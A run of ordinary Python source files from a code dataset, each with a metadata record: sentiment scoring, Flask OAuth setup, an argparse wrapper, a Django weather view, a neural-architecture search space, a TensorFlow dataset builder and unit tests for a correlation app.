board_emoji_sentiment_score values (?,?,?,?,?,?,?,?,?,?)\",(code,str(tno),str(mno),score,score_std,neg,neu,pos,emoji_num,sentence_wordnum,))\n print(str(code)+\",\"+str(tno)+\",\"+str(mno)+\",\"+str(score)+\",\"+str(emoji_num)+\",\"+str(sentence_wordnum))\n\n mcon.commit()\n\n with open(args.dump, 'w') as f:\n for line in mcon.iterdump():\n f.write('%s\\n' % line)\n\n\nif __name__ == \"__main__\":\n main()\n", "sub_path": "theme/src/13a_emoji_score.py", "file_name": "13a_emoji_score.py", "file_ext": "py", "file_size_in_byte": 3583, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "logging.getLogger", "line_number": 14, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 15, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 20, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 24, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 32, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 32, "usage_type": "attribute"}, {"api_name": "MeCab.Tagger", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 77, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 80, "usage_type": "call"}, {"api_name": "pandas.io.sql.read_sql_query", "line_number": 83, "usage_type": "call"}, {"api_name": "pandas.io", "line_number": 83, "usage_type": "attribute"}, {"api_name": "sqlite3.connect", "line_number": 88, "usage_type": "call"}]} {"seq_id": "220963807", "text": "# -*- encoding: utf-8 -*-\nfrom lazyblacksmith.extension.esipy import esisecurity\n\nfrom flask_oauthlib.client import OAuth\nfrom six.moves.urllib.parse import urlparse\nfrom werkzeug import security\n\nimport config\n\nparsed_uri = urlparse(esisecurity.oauth_token)\n\noauth = OAuth()\neve_oauth = oauth.remote_app(\n 'lb_eve_sso',\n access_token_url=esisecurity.oauth_token,\n authorize_url='%s://%s/oauth/authorize' % (\n parsed_uri.scheme,\n parsed_uri.netloc\n ),\n access_token_method='POST',\n request_token_method='GET',\n consumer_key=config.ESI_CLIENT_ID,\n consumer_secret=config.ESI_SECRET_KEY,\n request_token_params={\n 'state': lambda: security.gen_salt(10),\n 'scope': config.ESI_SCOPE,\n }\n)\n", "sub_path": "lazyblacksmith/extension/oauth.py", "file_name": "oauth.py", "file_ext": "py", "file_size_in_byte": 742, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "six.moves.urllib.parse.urlparse", "line_number": 10, "usage_type": "call"}, {"api_name": "lazyblacksmith.extension.esipy.esisecurity.oauth_token", "line_number": 10, "usage_type": "attribute"}, {"api_name": "lazyblacksmith.extension.esipy.esisecurity", "line_number": 10, "usage_type": "name"}, {"api_name": "flask_oauthlib.client.OAuth", "line_number": 12, "usage_type": "call"}, {"api_name": "lazyblacksmith.extension.esipy.esisecurity.oauth_token", "line_number": 15, "usage_type": "attribute"}, {"api_name": "lazyblacksmith.extension.esipy.esisecurity", "line_number": 15, "usage_type": "name"}, {"api_name": "config.ESI_CLIENT_ID", "line_number": 22, "usage_type": "attribute"}, {"api_name": "config.ESI_SECRET_KEY", "line_number": 23, "usage_type": "attribute"}, {"api_name": "werkzeug.security.gen_salt", "line_number": 25, "usage_type": "call"}, {"api_name": "werkzeug.security", "line_number": 25, "usage_type": "name"}, {"api_name": "config.ESI_SCOPE", "line_number": 26, "usage_type": "attribute"}]} {"seq_id": "149721598", "text": "# MIT License\n#\n# Copyright (c) 2019 Creative Commons\n#\n# Permission is hereby granted, free of charge, to any person obtaining a\n# copy of this software and associated documentation files (the \"Software\"),\n# to deal in the Software without restriction, including without limitation\n# the rights to use, copy, modify, merge, publish, distribute, sublicense,\n# and/or sell copies of the Software, and to permit persons to whom the\n# Software is furnished to do so, subject to the following conditions\n#\n# The above copyright notice and this permission notice shall be included\n# in all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n# OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\n\"\"\"from __future__ imports must occur at the beginning of the file. DO NOT CHANGE!\"\"\"\nfrom __future__ import annotations\n\nimport sys\nimport argparse\n\nfrom typing import TextIO\n\ntry:\n from gettext import gettext as _\nexcept ImportError:\n def _(message: str):\n return message\n\n\nclass NARGS(object):\n \"\"\"Class NARGS provides constant strings that specify the number of arguments for\n the add_argument() method.\"\"\"\n OPTIONAL: str = \"?\"\n ZERO_OR_MORE: str = \"*\"\n ONE_OR_MORE: str = \"+\"\n\n\nclass OPT_ARGS_ACTION(object):\n \"\"\"Class OPT_ARGS_ACTION provides the actions accepted by the add_argument() method\n while adding an optional argument.\"\"\"\n COUNT: str = \"count\"\n STORE_TRUE: str = \"store_true\"\n\n\nclass _ArgumentParser(argparse.ArgumentParser):\n \"\"\"We don't want any compatibility issue so we don't overwrite the constructor!\n The parent constructor method takes the following arguments:\n\n :Args:\n - prog: The name of the program (default: sys.argv[0])\n - usage: The string describing the program usage (default: generated from arguments \n added to parser)\n - description: Text to display before the argument help (default: none)\n - epilog: Text to display after the argument help (default: none)\n - parents: A list of ArgumentParser objects whose arguments should also be included\n - formatter_class: A class for customizing the help output\n - prefix_chars: The set of characters that prefix optional arguments (default: ‘-‘)\n - fromfile_prefix_chars: The set of characters that prefix files from which additional \n arguments should be read (default: None)\n - argument_default: The global default value for arguments (default: None)\n - conflict_handler: The strategy for resolving conflicting optionals (usually unnecessary)\n - add_help: Add a -h/--help option to the parser (default: True)\n - allow_abbrev: Allows long options to be abbreviated if the abbreviation is unambiguous. \n (default: True)\n \"\"\"\n __COLOR_DICT = {\"RED\": \"\\x1b[1;31m\",\n \"GREEN\": \"\\x1b[1;32m\",\n \"YELLOW\": \"\\x1b[1;33m\",\n \"BLUE\": \"\\x1b[1;36m\",\n \"RESET\": \"\\x1b[0m\"}\n\n def print_usage(self: _ArgumentParser, file: TextIO = None) -> None:\n \"\"\"Method print_usage() is an overrided version of the parent's print_usage() method.\n This method provides text formatting as well.\n\n :Args:\n - self: {_ArgumentParser} self.\n - file: {TextIO} file to send the output to.\n\n :Returns:\n - {None}\n \"\"\"\n if file is None:\n file = sys.stdout\n\n message: str = self.format_usage()\n\n self._print_message(\n message[0].upper() + message[1:], file, self.__COLOR_DICT[\"YELLOW\"])\n\n def print_help(self: _ArgumentParser, file: TextIO = None) -> None:\n \"\"\"Method print_help() is an overrided version of the parent's print_help() method.\n This method provides text formatting as well.\n\n :Args:\n - self: {_ArgumentParser} self.\n - file: {TextIO} file to dump the message in.\n\n :Returns:\n - {None}\n \"\"\"\n if file is None:\n file = sys.stdout\n\n message: str = self.format_help()\n\n self._print_message(\n message[0].upper() + message[1:], file, self.__COLOR_DICT[\"BLUE\"])\n\n def _print_message(\n self: _ArgumentParser,\n message: str,\n file: TextIO = None,\n color: str = None\n ) -> None:\n \"\"\"Method _print_message() is an overrided version of the parent's _print_message() method.\n This method provides text formatting as well.\n\n :Args:\n - self: {_ArgumentParser} self.\n - message: {str} message to dump into the given file.\n - file: {TextIO} file to dump the message in.\n - color: {str} color to format that text in.\n\n :Returns:\n - {None}\n \"\"\"\n if not message:\n return\n\n if file is None:\n file = sys.stderr\n\n if color is None:\n file.write(message)\n return\n\n file.write(color + message.strip() + self.__COLOR_DICT[\"RESET\"] + '\\n')\n\n def exit(\n self: _ArgumentParser,\n status: int = 0,\n message: str = None\n ) -> None:\n \"\"\"Method exit() is an overrided version of the parent's exit() method. This method\n provides text formatting as well.\n\n :Args:\n - self: {_ArgumentParser} self.\n - status: {int} exit status.\n - message: {str} message to print on the stderr file.\n\n :Returns:\n - {None}\n \"\"\"\n if message:\n self._print_message(message, sys.stderr, self.__COLOR_DICT[\"RED\"])\n sys.exit(status)\n\n def error(\n self: _ArgumentParser,\n message: str,\n usage: bool = True\n ) -> None:\n \"\"\"Method error() is an overrided version of the parent error() method. This method\n provides formatting as well.\n\n :Args:\n - self: {_ArgumentParser} self.\n - message: {str} message to print on the stderr file.\n - usage: {bool} whether to print usage or not.\n\n :Returns:\n - {None}\n \"\"\"\n if usage:\n self.print_usage(sys.stderr)\n self.exit(2, _(\"%(prog)s: Error: %(message)s\\n\") %\n {\"prog\": self.prog, \"message\": message})\n", "sub_path": "inb/helpers/parser/parser.py", "file_name": "parser.py", "file_ext": "py", "file_size_in_byte": 6692, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 53, "usage_type": "attribute"}, {"api_name": "typing.TextIO", "line_number": 80, "usage_type": "name"}, {"api_name": "sys.stdout", "line_number": 92, "usage_type": "attribute"}, {"api_name": "typing.TextIO", "line_number": 99, "usage_type": "name"}, {"api_name": "sys.stdout", "line_number": 111, "usage_type": "attribute"}, {"api_name": "typing.TextIO", "line_number": 121, "usage_type": "name"}, {"api_name": "sys.stderr", "line_number": 140, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 165, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 166, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 185, "usage_type": "attribute"}, {"api_name": "gettext.gettext", "line_number": 186, "usage_type": "call"}]} {"seq_id": "127639101", "text": "from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom main.forms import CityForm\nfrom main.models import City\nfrom main.helper import get_weather_data\n\ndef index(request):\n\tform = CityForm()\n\n\tif request.method == 'POST':\n\t\tform = CityForm(request.POST)\n\t\tif form.is_valid():\n\t\t\tform.save()\n\t\t\tlat = form.cleaned_data.get('lat')\n\t\t\tlon = form.cleaned_data.get('lon')\n\t\t\tweather_data = get_weather_data(lat, lon)\n\telif request.method == 'GET':\n\t\ttry:\n\t\t\tlat = City.objects.latest('date_added').lat\n\t\t\tlon = City.objects.latest('date_added').lon\n\t\t\tweather_data = get_weather_data(lat, lon)\n\t\texcept Exception as e:\n\t\t\tweather_data = None\n\n\tcontext = {'form': form, 'weather_data': weather_data}\n\treturn render(request, 'main/index.html', context=context)\n\n", "sub_path": "main/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 779, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "main.forms.CityForm", "line_number": 8, "usage_type": "call"}, {"api_name": "main.forms.CityForm", "line_number": 11, "usage_type": "call"}, {"api_name": "main.helper.get_weather_data", "line_number": 16, "usage_type": "call"}, {"api_name": "main.models.City.objects.latest", "line_number": 19, "usage_type": "call"}, {"api_name": "main.models.City.objects", "line_number": 19, "usage_type": "attribute"}, {"api_name": "main.models.City", "line_number": 19, "usage_type": "name"}, {"api_name": "main.models.City.objects.latest", "line_number": 20, "usage_type": "call"}, {"api_name": "main.models.City.objects", "line_number": 20, "usage_type": "attribute"}, {"api_name": "main.models.City", "line_number": 20, "usage_type": "name"}, {"api_name": "main.helper.get_weather_data", "line_number": 21, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 26, "usage_type": "call"}]} {"seq_id": "631193837", "text": "import collections\n\nimport tensorflow as tf\n\nfrom deephyper.nas.space import AutoKSearchSpace, SpaceFactory\nfrom deephyper.nas.space.node import ConstantNode, VariableNode\nfrom deephyper.nas.space.op.basic import Zero\nfrom deephyper.nas.space.op.connect import Connect\nfrom deephyper.nas.space.op.merge import AddByProjecting\nfrom deephyper.nas.space.op.op1d import Dense, Identity, Dropout\n\n\nclass DenseSkipCoFactory(SpaceFactory):\n def build(\n self,\n input_shape,\n output_shape,\n regression=True,\n num_layers=10,\n dropout=0.0,\n **kwargs,\n ):\n ss = AutoKSearchSpace(input_shape, output_shape, regression=regression)\n source = prev_input = ss.input_nodes[0]\n\n # look over skip connections within a range of the 3 previous nodes\n anchor_points = collections.deque([source], maxlen=3)\n\n for _ in range(num_layers):\n vnode = VariableNode()\n self.add_dense_to_(vnode)\n\n ss.connect(prev_input, vnode)\n\n # * Cell output\n cell_output = vnode\n\n cmerge = ConstantNode()\n cmerge.set_op(AddByProjecting(ss, [cell_output], activation=\"relu\"))\n\n for anchor in anchor_points:\n skipco = VariableNode()\n skipco.add_op(Zero())\n skipco.add_op(Connect(ss, anchor))\n ss.connect(skipco, cmerge)\n\n prev_input = cmerge\n\n # ! for next iter\n anchor_points.append(prev_input)\n\n if dropout >= 0.0:\n dropout_node = ConstantNode(op=Dropout(rate=dropout))\n ss.connect(prev_input, dropout_node)\n\n return ss\n\n def add_dense_to_(self, node):\n node.add_op(Identity()) # we do not want to create a layer in this case\n\n activations = [None, tf.nn.swish, tf.nn.relu, tf.nn.tanh, tf.nn.sigmoid]\n for units in range(16, 97, 16):\n for activation in activations:\n node.add_op(Dense(units=units, activation=activation))\n\n\nif __name__ == \"__main__\":\n shapes = dict(input_shape=(10,), output_shape=(1,))\n factory = DenseSkipCoFactory()\n factory.test(**shapes)\n # factory.plot_model(**shapes)\n # factory.plot_space(**shapes)\n", "sub_path": "deepspace/tabular/dense_skipco.py", "file_name": "dense_skipco.py", "file_ext": "py", "file_size_in_byte": 2253, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "deephyper.nas.space.SpaceFactory", "line_number": 13, "usage_type": "name"}, {"api_name": "deephyper.nas.space.AutoKSearchSpace", "line_number": 23, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 27, "usage_type": "call"}, {"api_name": "deephyper.nas.space.node.VariableNode", "line_number": 30, "usage_type": "call"}, {"api_name": "deephyper.nas.space.node.ConstantNode", "line_number": 38, "usage_type": "call"}, {"api_name": "deephyper.nas.space.op.merge.AddByProjecting", "line_number": 39, "usage_type": "call"}, {"api_name": "deephyper.nas.space.node.VariableNode", "line_number": 42, "usage_type": "call"}, {"api_name": "deephyper.nas.space.op.basic.Zero", "line_number": 43, "usage_type": "call"}, {"api_name": "deephyper.nas.space.op.connect.Connect", "line_number": 44, "usage_type": "call"}, {"api_name": "deephyper.nas.space.node.ConstantNode", "line_number": 53, "usage_type": "call"}, {"api_name": "deephyper.nas.space.op.op1d.Dropout", "line_number": 53, "usage_type": "call"}, {"api_name": "deephyper.nas.space.op.op1d.Identity", "line_number": 59, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 61, "usage_type": "attribute"}, {"api_name": "deephyper.nas.space.op.op1d.Dense", "line_number": 64, "usage_type": "call"}]} {"seq_id": "639359334", "text": "\"\"\"gh_chest_xray_frontal_lateral dataset.\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport tensorflow_datasets.public_api as tfds\nimport tensorflow as tf\nimport pandas as pd\nfrom glob import glob\nimport os\n\n_CITATION = \"\"\"\n\"\"\"\n\n_DESCRIPTION = \"\"\"\ngradient health private chest xray data including frontal, lateral and none three category. The dataset has three split: train/val/test. Only the train split has labels.\n\"\"\"\n\n\nclass GhChestXrayFrontalLateral(tfds.core.GeneratorBasedBuilder):\n \"\"\"private chest xray data including frontal and lateral\"\"\"\n\n VERSION = tfds.core.Version('0.1.0')\n MANUAL_DOWNLOAD_INSTRUCTIONS = \"\"\"\\\n\tyou need have access to this private dataset\n \"\"\"\n\n def _info(self):\n return tfds.core.DatasetInfo(\n builder=self,\n description=_DESCRIPTION,\n features=tfds.features.FeaturesDict({\n \"image/name\": tfds.features.Text(),\n \"image\": tfds.features.Image(shape=(None, None, 1),\n dtype=tf.uint16,\n encoding_format='png'),\n \"label\": tfds.features.ClassLabel(names=[\"None\", \"frontal\", \"lateral\"]),\n }),\n\n homepage='https://dataset-homepage/',\n citation=_CITATION,\n )\n\n def _split_generators(self, dl_manager):\n \"\"\"Returns SplitGenerators.\"\"\"\n data_path = dl_manager.manual_dir\n train_df = pd.read_csv(os.path.join(data_path, \"label.csv\"))\n train_df.drop('timestamp', axis=1, inplace=True)\n train_df['filename'] = train_df['filename'].apply(lambda fname: os.path.join(data_path, fname))\n\n val_names = glob(os.path.join(data_path, 'val/*.jpg'))\n val_df = pd.DataFrame(list(zip(val_names, [\"None\" for i in range(0, len(val_names))])), columns=['filename', 'label'])\n\n test_names = glob(os.path.join(data_path, 'test/*.jpg'))\n test_df = pd.DataFrame(list(zip(test_names, [\"None\" for i in range(0, len(test_names))])), columns=['filename', 'label'])\n\n return [\n tfds.core.SplitGenerator(\n name=tfds.Split.TRAIN,\n gen_kwargs={\n 'df':train_df,\n },\n ),\n tfds.core.SplitGenerator(\n name=tfds.Split.VALIDATION,\n gen_kwargs={\n 'df':val_df,\n },\n ),\n tfds.core.SplitGenerator(\n name=tfds.Split.TEST,\n gen_kwargs={\n 'df':test_df,\n },\n ),\n ]\n\n def _generate_examples(self, df):\n \"\"\"Yields examples.\"\"\"\n for idx, row in df.iterrows():\n record = {\n \"image/name\": \"/\".join(row.filename.split(\"/\")[-2:]),\n \"image\": row.filename,\n \"label\": row.label\n }\n\n yield idx, record\n", "sub_path": "tensorflow_datasets/image_classification/gh_chest_xray_frontal_lateral.py", "file_name": "gh_chest_xray_frontal_lateral.py", "file_ext": "py", "file_size_in_byte": 2707, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "tensorflow_datasets.public_api.core", "line_number": 21, "usage_type": "attribute"}, {"api_name": "tensorflow_datasets.public_api", "line_number": 21, "usage_type": "name"}, {"api_name": "tensorflow_datasets.public_api.core.Version", "line_number": 24, "usage_type": "call"}, {"api_name": "tensorflow_datasets.public_api.core", "line_number": 24, "usage_type": "attribute"}, {"api_name": "tensorflow_datasets.public_api", "line_number": 24, "usage_type": "name"}, {"api_name": "tensorflow_datasets.public_api.core.DatasetInfo", "line_number": 30, "usage_type": "call"}, {"api_name": "tensorflow_datasets.public_api.core", "line_number": 30, "usage_type": "attribute"}, {"api_name": "tensorflow_datasets.public_api", "line_number": 30, "usage_type": "name"}, {"api_name": "tensorflow_datasets.public_api.features.FeaturesDict", "line_number": 33, "usage_type": "call"}, {"api_name": "tensorflow_datasets.public_api.features", "line_number": 33, "usage_type": "attribute"}, {"api_name": "tensorflow_datasets.public_api", "line_number": 33, "usage_type": "name"}, {"api_name": "tensorflow_datasets.public_api.features.Text", "line_number": 34, "usage_type": "call"}, {"api_name": "tensorflow_datasets.public_api.features", "line_number": 34, "usage_type": "attribute"}, {"api_name": "tensorflow_datasets.public_api", "line_number": 34, "usage_type": "name"}, {"api_name": "tensorflow_datasets.public_api.features.Image", "line_number": 35, "usage_type": "call"}, {"api_name": "tensorflow_datasets.public_api.features", "line_number": 35, "usage_type": "attribute"}, {"api_name": "tensorflow_datasets.public_api", "line_number": 35, "usage_type": "name"}, {"api_name": "tensorflow.uint16", "line_number": 36, "usage_type": "attribute"}, {"api_name": "tensorflow_datasets.public_api.features.ClassLabel", "line_number": 38, "usage_type": "call"}, {"api_name": "tensorflow_datasets.public_api.features", "line_number": 38, "usage_type": "attribute"}, {"api_name": "tensorflow_datasets.public_api", "line_number": 38, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 48, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 48, "usage_type": "call"}, {"api_name": "os.path", "line_number": 48, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 50, "usage_type": "call"}, {"api_name": "os.path", "line_number": 50, "usage_type": "attribute"}, {"api_name": "glob.glob", "line_number": 52, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 52, "usage_type": "call"}, {"api_name": "os.path", "line_number": 52, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 53, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 55, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 55, "usage_type": "call"}, {"api_name": "os.path", "line_number": 55, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 56, "usage_type": "call"}, {"api_name": "tensorflow_datasets.public_api.core.SplitGenerator", "line_number": 59, "usage_type": "call"}, {"api_name": "tensorflow_datasets.public_api.core", "line_number": 59, "usage_type": "attribute"}, {"api_name": "tensorflow_datasets.public_api", "line_number": 59, "usage_type": "name"}, {"api_name": "tensorflow_datasets.public_api.Split", "line_number": 60, "usage_type": "attribute"}, {"api_name": "tensorflow_datasets.public_api", "line_number": 60, "usage_type": "name"}, {"api_name": "tensorflow_datasets.public_api.core.SplitGenerator", "line_number": 65, "usage_type": "call"}, {"api_name": "tensorflow_datasets.public_api.core", "line_number": 65, "usage_type": "attribute"}, {"api_name": "tensorflow_datasets.public_api", "line_number": 65, "usage_type": "name"}, {"api_name": "tensorflow_datasets.public_api.Split", "line_number": 66, "usage_type": "attribute"}, {"api_name": "tensorflow_datasets.public_api", "line_number": 66, "usage_type": "name"}, {"api_name": "tensorflow_datasets.public_api.core.SplitGenerator", "line_number": 71, "usage_type": "call"}, {"api_name": "tensorflow_datasets.public_api.core", "line_number": 71, "usage_type": "attribute"}, {"api_name": "tensorflow_datasets.public_api", "line_number": 71, "usage_type": "name"}, {"api_name": "tensorflow_datasets.public_api.Split", "line_number": 72, "usage_type": "attribute"}, {"api_name": "tensorflow_datasets.public_api", "line_number": 72, "usage_type": "name"}]} {"seq_id": "80626046", "text": "\"\"\"Test Resources module.\"\"\"\n\nimport unittest\nimport logging\n\nfrom pyramid import testing\n\nfrom utils import BaseTest, add_test_attribute\n\n\nFORMAT_STR = '%(filename)s[LINE:%(lineno)d]#\\\n %(levelname)-8s [%(asctime)s] %(message)s'\nlogging.basicConfig(format=FORMAT_STR, level=logging.DEBUG)\n\n\nclass ResourceTests(unittest.TestCase):\n\n \"\"\"Test class \"Resource\".\"\"\"\n\n from correlator.resources import Resource\n\n cls = Resource\n\n def test_constructor(self):\n \"\"\"Test Resource constructor.\"\"\"\n name = 'some_resource'\n parent = self.cls(None, name='parent_res')\n request = testing.DummyRequest()\n\n instance = self.cls(request, name=name, parent=parent)\n self.assertEqual(instance.__name__, name)\n self.assertEqual(instance.__parent__, parent)\n self.assertEqual(instance.request, request)\n\n def test_url(self):\n \"\"\" Get resource url.\n\n http://example.com/ - default host url.\n\n \"\"\"\n name = 'some_resource'\n request = testing.DummyRequest()\n parent = self.cls(request)\n instance = self.cls(request, name=name, parent=parent)\n inst_url = 'http://example.com/{res_name}/'.format(res_name=name)\n\n self.assertEqual(instance.url(), inst_url)\n\n\nclass TraversingMixinTests(unittest.TestCase):\n\n \"\"\"Test of TraversingMixin methods.\"\"\"\n\n from correlator.resources import TraversingMixin\n\n class TraversalWithRequest(TraversingMixin):\n\n \"\"\"docstring for Traversal.\"\"\"\n\n request = None\n\n cls = TraversingMixin\n cls_with_request = TraversalWithRequest\n\n def test_is_valid(self):\n \"\"\"Is factory with name is valid.\"\"\"\n instance = self.cls()\n name = 'some_name'\n factory = None\n # factory is None\n self.assertFalse(instance._is_valid(name, factory))\n\n instance.factory_item = str\n factory = int\n self.assertTrue(instance._is_valid(name, factory))\n\n factory = str\n name = 'wrong name'\n self.assertFalse(instance._is_valid(name, factory))\n\n name = '123'\n self.assertTrue(instance._is_valid(name, factory))\n\n def test_get_item_empty_factory_map_error(self):\n \"\"\"Test __get_item__, when factory_map is empty.\"\"\"\n instance = self.cls_with_request()\n name = 'some_name'\n self.assertRaises(KeyError, instance.__getitem__, name)\n\n def test_get_item_empty_factory_map(self):\n \"\"\"Test __get_item__, when factory_map is empty.\"\"\"\n from correlator.resources import Resource\n req = testing.DummyRequest()\n\n instance = self.cls_with_request()\n instance.request = req\n instance.factory_item = Resource\n\n name = '111'\n expected_item = Resource(req, name=name, parent=instance)\n item = instance.__getitem__(name)\n self.assertEqual(item.__name__, expected_item.__name__)\n self.assertEqual(item.__parent__, expected_item.__parent__)\n self.assertEqual(item.request, expected_item.request)\n\n\nclass GraphTests(BaseTest):\n\n \"\"\"Test of resources.Graph methods.\"\"\"\n\n from correlator.resources import Graph\n\n cls = Graph\n\n def test_graph_id(self):\n \"\"\"Test. Get int id from self.__name__.\"\"\"\n req = testing.DummyRequest()\n id_ = 145\n instance = self.cls(req, name=str(id_))\n self.assertEqual(instance.graph_id, id_)\n\n def test_graph_data_by_no_existing_id(self):\n \"\"\"Test. Get graph data by no existing id.\"\"\"\n instance = self.cls(testing.DummyRequest, name='1345')\n self.assertEqual(instance.get_graph_data(), {})\n\n def test_get_graph_data(self):\n \"\"\"Test get graph data.\"\"\"\n from utils import date_format, add_test_dynamic\n from correlator.models import Graph as mGraph\n from correlator.models import Attribute\n\n title = 'Abra Abra'\n start_time = date_format.format(day='01')\n end_time = date_format.format(day=27)\n m_graph = mGraph('Abra Abra', start_time, end_time)\n m_graph.add()\n\n # Collect Attributes.\n attributes = []\n for attr_row in add_test_attribute(self.session_db, amount=6):\n attr = Attribute.get_by_name(attr_row[1])\n attributes.append(attr)\n # Add attribute to graph.\n m_graph.attributes.append(attr)\n # Add dynamic\n attributes_id_list = mGraph.get_attributes_ids(m_graph.id)\n add_test_dynamic(self.session_db, attributes_id_list)\n\n graph = self.cls(testing.DummyRequest, name=str(m_graph.id))\n graph_data = graph.get_graph_data()\n\n self.assertEqual(graph_data['title'], title)\n self.assertEqual(str(graph_data['start_time']), start_time)\n self.assertEqual(str(graph_data['end_time']), end_time)\n # attributes_values tested in get_attributes_values\n # timestamps tested in get_timestamps\n # correlation_data tested in Statistics.attributes_correlation()\n\n\nclass GraphsTests(BaseTest):\n\n \"\"\"Test of resources.Graphs methods.\"\"\"\n\n from correlator.resources import Graphs\n\n cls = Graphs\n instance = cls(testing.DummyRequest())\n\n def test_create_graph(self):\n \"\"\"Test. Create graph.\"\"\"\n from correlator.models import Attribute, Graph\n from utils import add_test_attribute\n from utils import date_format\n\n attrs_list = add_test_attribute(self.session_db, amount=4)\n attrs_ids = [row[0] for row in attrs_list]\n attrs = [Attribute.get_by_name(row[1]) for row in attrs_list]\n\n title = 'TEST_GRAPH#!@1'\n start_time = date_format.format(day='01')\n end_time = date_format.format(day='31')\n graph = self.instance.create_graph(title, start_time, end_time, attrs)\n\n self.assertEqual(graph.title, title)\n self.assertEqual(str(graph.start_time), start_time)\n self.assertEqual(str(graph.end_time), end_time)\n\n attrs_ids_db = Graph.get_attributes_ids(graph.id)\n for attr_id in attrs_ids_db:\n self.assertTrue(attr_id in attrs_ids)\n\n def test_get_graphs_attributes(self):\n \"\"\"Test. Get graph: attributes dict.\"\"\"\n\n from collections import OrderedDict\n\n from correlator.models import Attribute, Graph\n from utils import date_format\n\n Attribute.clean_table()\n Graph.clean_table()\n\n expected_dict = {}\n graphs_amount = 2\n graphs = []\n for i in xrange(graphs_amount):\n attrs_list = add_test_attribute(self.session_db, amount=4)\n attrs = [Attribute.get_by_name(row[1]) for row in attrs_list]\n\n title = 'TEST_GRAPH#!@{index}'.format(index=i)\n start_time = date_format.format(day='01')\n end_time = date_format.format(day='31')\n graph = self.instance.create_graph(\n title,\n start_time,\n end_time,\n attrs\n )\n graphs.append(graph)\n expected_dict[graph] = attrs\n\n expected_dict = OrderedDict(sorted(expected_dict.items(),\n key=lambda t: t[0].title))\n graphs_attributes = self.instance.get_graphs_attributes()\n self.assertEqual(graphs_attributes.keys(), expected_dict.keys())\n for graph, attrs in expected_dict.iteritems():\n self.assertEqual(attrs, graphs_attributes[graph])\n\n def test_delete_graph(self):\n \"\"\"Test. Delete Graph. Simple test.\"\"\"\n from correlator.models import Attribute\n from utils import date_format\n\n attrs_list = add_test_attribute(self.session_db, amount=4)\n attrs = [Attribute.get_by_name(row[1]) for row in attrs_list]\n\n title = 'TEST_GRAPH#!@{index}'.format(index=1)\n start_time = date_format.format(day='01')\n end_time = date_format.format(day='31')\n graph = self.instance.create_graph(\n title,\n start_time,\n end_time,\n attrs\n )\n self.instance.delete_graph(graph.id)\n\n\nclass CorrelationAnalysisTests(BaseTest):\n\n \"\"\"Test of resources.CorrelationAnalysis methods.\"\"\"\n\n from correlator.resources import CorrelationAnalysis\n\n\n cls = CorrelationAnalysis\n instance = cls(testing.DummyRequest())\n\n def test_get_correlation_data(self):\n \"\"\"Get correlation data. Math part tested, but not here.\"\"\"\n import itertools\n from utils import add_test_dynamic\n from utils import date_format\n from correlator.models import Attribute\n\n attr_list = add_test_attribute(self.session_db, amount=5)\n\n attrs_ids = [row[0] for row in attr_list]\n attrs_names = [row[1] for row in attr_list]\n add_test_dynamic(self.session_db, attrs_ids)\n\n dependency_name ='exponential'\n start_time = date_format.format(day='01')\n end_time = date_format.format(day='31')\n\n expected_pairs = set(i for i in itertools.permutations(attrs_names, 2))\n\n attrs = [Attribute.get_by_name(row[1]) for row in attr_list]\n correlation_data = self.instance.get_correlation_data(\n start_time, end_time, attrs, dependency_name)\n prepared_data = set(\n (item['x_attribute_name'], item['y_attribute_name'])\n for item in correlation_data\n )\n\n self.assertEqual(len(prepared_data), len(expected_pairs))\n self.assertEqual(prepared_data, expected_pairs)\n\n def test_compare_attributes(self):\n \"\"\"Test.\"\"\"\n\n from utils import add_test_dynamic\n from utils import date_format\n from correlator.models import Attribute\n\n attr_list = add_test_attribute(self.session_db, amount=2)\n attrs_ids = [row[0] for row in attr_list]\n attrs = 